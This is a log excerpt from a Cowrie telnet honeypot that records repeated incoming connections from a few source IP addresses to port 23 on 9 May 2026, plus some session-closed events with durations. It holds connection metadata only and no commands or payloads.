{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33066,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac08bd66ddfe","protocol":"telnet","message":"New connection: 50.6.18.72:33066 (159.203.135.109:23) [session: ac08bd66ddfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:20.284551Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33070,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cf43e6802fe","protocol":"telnet","message":"New connection: 50.6.18.72:33070 (159.203.135.109:23) [session: 7cf43e6802fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:20.293320Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45396,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e597f09bd1f","protocol":"telnet","message":"New connection: 45.58.127.90:45396 (10.17.0.5:23) [session: 1e597f09bd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:20.297580Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33082,"dst_ip":"159.203.135.109","dst_port":23,"session":"293fe4bdb05f","protocol":"telnet","message":"New connection: 50.6.18.72:33082 (159.203.135.109:23) [session: 293fe4bdb05f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:20.510985Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33098,"dst_ip":"159.203.135.109","dst_port":23,"session":"db54d3a8d691","protocol":"telnet","message":"New connection: 50.6.18.72:33098 (159.203.135.109:23) [session: db54d3a8d691]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:20.577840Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33112,"dst_ip":"159.203.135.109","dst_port":23,"session":"808e64994fea","protocol":"telnet","message":"New connection: 50.6.18.72:33112 (159.203.135.109:23) [session: 808e64994fea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:20.770436Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33044,"dst_ip":"159.203.135.109","dst_port":23,"session":"9824290cc486","protocol":"telnet","message":"New connection: 50.6.18.72:33044 (159.203.135.109:23) [session: 9824290cc486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:20.780135Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33114,"dst_ip":"159.203.135.109","dst_port":23,"session":"63c720215a58","protocol":"telnet","message":"New connection: 50.6.18.72:33114 (159.203.135.109:23) [session: 63c720215a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:20.798339Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33118,"dst_ip":"159.203.135.109","dst_port":23,"session":"71adee1ffb67","protocol":"telnet","message":"New connection: 50.6.18.72:33118 (159.203.135.109:23) [session: 71adee1ffb67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:21.143626Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33122,"dst_ip":"159.203.135.109","dst_port":23,"session":"66f848182d7c","protocol":"telnet","message":"New connection: 50.6.18.72:33122 (159.203.135.109:23) [session: 66f848182d7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:21.317546Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33072,"dst_ip":"159.203.135.109","dst_port":23,"session":"c28146e2a48a","protocol":"telnet","message":"New connection: 50.6.18.72:33072 (159.203.135.109:23) [session: c28146e2a48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:21.377072Z"}
{"eventid":"cowrie.session.closed","duration":42.25565528869629,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:21.820488Z","src_ip":"45.58.127.90","session":"8eb2b4bfcf38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33132,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c9184a7a331","protocol":"telnet","message":"New connection: 50.6.18.72:33132 (159.203.135.109:23) [session: 7c9184a7a331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:21.947651Z"}
{"eventid":"cowrie.session.closed","duration":30.930747747421265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:22.023367Z","src_ip":"50.6.18.72","session":"6b3de7ec48e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33148,"dst_ip":"159.203.135.109","dst_port":23,"session":"497dcc114129","protocol":"telnet","message":"New connection: 50.6.18.72:33148 (159.203.135.109:23) [session: 497dcc114129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:22.136944Z"}
{"eventid":"cowrie.session.closed","duration":12.866651773452759,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:22.158051Z","src_ip":"147.182.143.59","session":"7b92eb2eafe8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33152,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1f90191ca13","protocol":"telnet","message":"New connection: 50.6.18.72:33152 (159.203.135.109:23) [session: d1f90191ca13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:22.193713Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33160,"dst_ip":"159.203.135.109","dst_port":23,"session":"96c7214f47a7","protocol":"telnet","message":"New connection: 50.6.18.72:33160 (159.203.135.109:23) [session: 96c7214f47a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:22.211453Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33180,"dst_ip":"159.203.135.109","dst_port":23,"session":"43d339b892cd","protocol":"telnet","message":"New connection: 50.6.18.72:33180 (159.203.135.109:23) [session: 43d339b892cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:22.318858Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33192,"dst_ip":"159.203.135.109","dst_port":23,"session":"ce093ca05885","protocol":"telnet","message":"New connection: 50.6.18.72:33192 (159.203.135.109:23) [session: ce093ca05885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:22.324898Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33206,"dst_ip":"159.203.135.109","dst_port":23,"session":"60fc5bc3828b","protocol":"telnet","message":"New connection: 50.6.18.72:33206 (159.203.135.109:23) [session: 60fc5bc3828b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:22.658463Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33208,"dst_ip":"159.203.135.109","dst_port":23,"session":"08dae44d0dd0","protocol":"telnet","message":"New connection: 50.6.18.72:33208 (159.203.135.109:23) [session: 08dae44d0dd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:23.100375Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33170,"dst_ip":"159.203.135.109","dst_port":23,"session":"69343642a42f","protocol":"telnet","message":"New connection: 50.6.18.72:33170 (159.203.135.109:23) [session: 69343642a42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:23.272072Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49266,"dst_ip":"159.203.135.109","dst_port":23,"session":"000cb0f24491","protocol":"telnet","message":"New connection: 147.182.143.59:49266 (159.203.135.109:23) [session: 000cb0f24491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:23.729381Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33214,"dst_ip":"159.203.135.109","dst_port":23,"session":"83602ba079a2","protocol":"telnet","message":"New connection: 50.6.18.72:33214 (159.203.135.109:23) [session: 83602ba079a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:24.133900Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33220,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b606d2308c8","protocol":"telnet","message":"New connection: 50.6.18.72:33220 (159.203.135.109:23) [session: 5b606d2308c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:24.192941Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33230,"dst_ip":"159.203.135.109","dst_port":23,"session":"7edddc8e9f20","protocol":"telnet","message":"New connection: 50.6.18.72:33230 (159.203.135.109:23) [session: 7edddc8e9f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:24.250968Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33244,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ac111cddb5b","protocol":"telnet","message":"New connection: 50.6.18.72:33244 (159.203.135.109:23) [session: 7ac111cddb5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:24.272877Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33258,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6bf1046e09c","protocol":"telnet","message":"New connection: 50.6.18.72:33258 (159.203.135.109:23) [session: c6bf1046e09c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:24.501917Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":45412,"dst_ip":"10.17.0.5","dst_port":23,"session":"de4cec89ea08","protocol":"telnet","message":"New connection: 45.58.127.90:45412 (10.17.0.5:23) [session: de4cec89ea08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:24.789775Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33126,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdb9469dc678","protocol":"telnet","message":"New connection: 50.6.18.72:33126 (159.203.135.109:23) [session: bdb9469dc678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:24.935580Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":49276,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c8dbf403b07","protocol":"telnet","message":"New connection: 147.182.143.59:49276 (159.203.135.109:23) [session: 4c8dbf403b07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:25.076932Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33268,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6d7bc2f117e","protocol":"telnet","message":"New connection: 50.6.18.72:33268 (159.203.135.109:23) [session: a6d7bc2f117e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:25.153031Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33282,"dst_ip":"159.203.135.109","dst_port":23,"session":"aabe92ee65cb","protocol":"telnet","message":"New connection: 50.6.18.72:33282 (159.203.135.109:23) [session: aabe92ee65cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:25.186876Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33294,"dst_ip":"159.203.135.109","dst_port":23,"session":"498c1405e332","protocol":"telnet","message":"New connection: 50.6.18.72:33294 (159.203.135.109:23) [session: 498c1405e332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:25.394033Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33304,"dst_ip":"159.203.135.109","dst_port":23,"session":"26614ec83d1e","protocol":"telnet","message":"New connection: 50.6.18.72:33304 (159.203.135.109:23) [session: 26614ec83d1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:25.558375Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39506,"dst_ip":"159.203.135.109","dst_port":23,"session":"35dfb9a3e1e0","protocol":"telnet","message":"New connection: 50.6.18.72:39506 (159.203.135.109:23) [session: 35dfb9a3e1e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:25.581351Z"}
{"eventid":"cowrie.session.closed","duration":31.119935750961304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:25.729082Z","src_ip":"50.6.18.72","session":"4b879761ed34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39514,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2dbffb98a0c","protocol":"telnet","message":"New connection: 50.6.18.72:39514 (159.203.135.109:23) [session: f2dbffb98a0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:25.915938Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39518,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9779af7c149","protocol":"telnet","message":"New connection: 50.6.18.72:39518 (159.203.135.109:23) [session: e9779af7c149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:25.941056Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39524,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdb4705b1fc4","protocol":"telnet","message":"New connection: 50.6.18.72:39524 (159.203.135.109:23) [session: fdb4705b1fc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:26.284431Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39534,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f0aa9a97678","protocol":"telnet","message":"New connection: 50.6.18.72:39534 (159.203.135.109:23) [session: 1f0aa9a97678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:26.523529Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39544,"dst_ip":"159.203.135.109","dst_port":23,"session":"3dbb7aa63d3a","protocol":"telnet","message":"New connection: 50.6.18.72:39544 (159.203.135.109:23) [session: 3dbb7aa63d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:26.652660Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39558,"dst_ip":"159.203.135.109","dst_port":23,"session":"34555f9c7adc","protocol":"telnet","message":"New connection: 50.6.18.72:39558 (159.203.135.109:23) [session: 34555f9c7adc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:26.659528Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39568,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3a5239983b6","protocol":"telnet","message":"New connection: 50.6.18.72:39568 (159.203.135.109:23) [session: c3a5239983b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:27.100916Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39570,"dst_ip":"159.203.135.109","dst_port":23,"session":"25d74f5ccf6b","protocol":"telnet","message":"New connection: 50.6.18.72:39570 (159.203.135.109:23) [session: 25d74f5ccf6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:27.113739Z"}
{"eventid":"cowrie.session.closed","duration":2.478595018386841,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:27.268077Z","src_ip":"45.58.127.90","session":"de4cec89ea08","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39586,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae551ea355f9","protocol":"telnet","message":"New connection: 50.6.18.72:39586 (159.203.135.109:23) [session: ae551ea355f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:27.528399Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39606,"dst_ip":"159.203.135.109","dst_port":23,"session":"6dc059197f37","protocol":"telnet","message":"New connection: 50.6.18.72:39606 (159.203.135.109:23) [session: 6dc059197f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:27.643646Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39620,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f0a61f22f2e","protocol":"telnet","message":"New connection: 50.6.18.72:39620 (159.203.135.109:23) [session: 4f0a61f22f2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:28.095080Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39634,"dst_ip":"159.203.135.109","dst_port":23,"session":"11d85b03a8cf","protocol":"telnet","message":"New connection: 50.6.18.72:39634 (159.203.135.109:23) [session: 11d85b03a8cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:28.220036Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39602,"dst_ip":"159.203.135.109","dst_port":23,"session":"61f519b2e15e","protocol":"telnet","message":"New connection: 50.6.18.72:39602 (159.203.135.109:23) [session: 61f519b2e15e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:28.589513Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39640,"dst_ip":"159.203.135.109","dst_port":23,"session":"9c5a0dfe5ab3","protocol":"telnet","message":"New connection: 50.6.18.72:39640 (159.203.135.109:23) [session: 9c5a0dfe5ab3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:28.693836Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39652,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec98e195988b","protocol":"telnet","message":"New connection: 50.6.18.72:39652 (159.203.135.109:23) [session: ec98e195988b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:28.705264Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39662,"dst_ip":"159.203.135.109","dst_port":23,"session":"bc4daafcaf18","protocol":"telnet","message":"New connection: 50.6.18.72:39662 (159.203.135.109:23) [session: bc4daafcaf18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:29.047368Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39676,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ba1fe95b641","protocol":"telnet","message":"New connection: 50.6.18.72:39676 (159.203.135.109:23) [session: 1ba1fe95b641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:29.052612Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":52956,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca01c9d87666","protocol":"telnet","message":"New connection: 45.58.127.90:52956 (10.17.0.5:23) [session: ca01c9d87666]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:29.100038Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39680,"dst_ip":"159.203.135.109","dst_port":23,"session":"9dde811769f9","protocol":"telnet","message":"New connection: 50.6.18.72:39680 (159.203.135.109:23) [session: 9dde811769f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:29.299433Z"}
{"eventid":"cowrie.session.closed","duration":38.7699978351593,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:29.308479Z","src_ip":"45.58.127.90","session":"dc7d630fe7c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39688,"dst_ip":"159.203.135.109","dst_port":23,"session":"246c4fe8682f","protocol":"telnet","message":"New connection: 50.6.18.72:39688 (159.203.135.109:23) [session: 246c4fe8682f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:29.324657Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39702,"dst_ip":"159.203.135.109","dst_port":23,"session":"e61bb7f2aa65","protocol":"telnet","message":"New connection: 50.6.18.72:39702 (159.203.135.109:23) [session: e61bb7f2aa65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:29.594909Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39706,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a39b6d9161d","protocol":"telnet","message":"New connection: 50.6.18.72:39706 (159.203.135.109:23) [session: 5a39b6d9161d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.087929Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39716,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f65866d6133","protocol":"telnet","message":"New connection: 50.6.18.72:39716 (159.203.135.109:23) [session: 1f65866d6133]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.115243Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39724,"dst_ip":"159.203.135.109","dst_port":23,"session":"45ed6dc71294","protocol":"telnet","message":"New connection: 50.6.18.72:39724 (159.203.135.109:23) [session: 45ed6dc71294]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.232164Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39734,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7467b4cf1c4","protocol":"telnet","message":"New connection: 50.6.18.72:39734 (159.203.135.109:23) [session: a7467b4cf1c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.239282Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39742,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd6385f5b404","protocol":"telnet","message":"New connection: 50.6.18.72:39742 (159.203.135.109:23) [session: dd6385f5b404]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.297500Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39744,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c4499400f0b","protocol":"telnet","message":"New connection: 50.6.18.72:39744 (159.203.135.109:23) [session: 8c4499400f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.482322Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39750,"dst_ip":"159.203.135.109","dst_port":23,"session":"b76f2b1a12d8","protocol":"telnet","message":"New connection: 50.6.18.72:39750 (159.203.135.109:23) [session: b76f2b1a12d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.551793Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39764,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c5266971ad5","protocol":"telnet","message":"New connection: 50.6.18.72:39764 (159.203.135.109:23) [session: 0c5266971ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.602786Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39780,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdac88ae5f98","protocol":"telnet","message":"New connection: 50.6.18.72:39780 (159.203.135.109:23) [session: cdac88ae5f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.624474Z"}
{"eventid":"cowrie.session.closed","duration":31.110573768615723,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:30.977181Z","src_ip":"50.6.18.72","session":"1b48602ab254","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39794,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e9587ed7612","protocol":"telnet","message":"New connection: 50.6.18.72:39794 (159.203.135.109:23) [session: 7e9587ed7612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:31.028045Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":39802,"dst_ip":"159.203.135.109","dst_port":23,"session":"490544adcdb5","protocol":"telnet","message":"New connection: 50.6.18.72:39802 (159.203.135.109:23) [session: 490544adcdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:31.046532Z"}
{"eventid":"cowrie.session.closed","duration":31.042330741882324,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:31.062695Z","src_ip":"50.6.18.72","session":"8a5af07b5fe1","protocol":"telnet"}
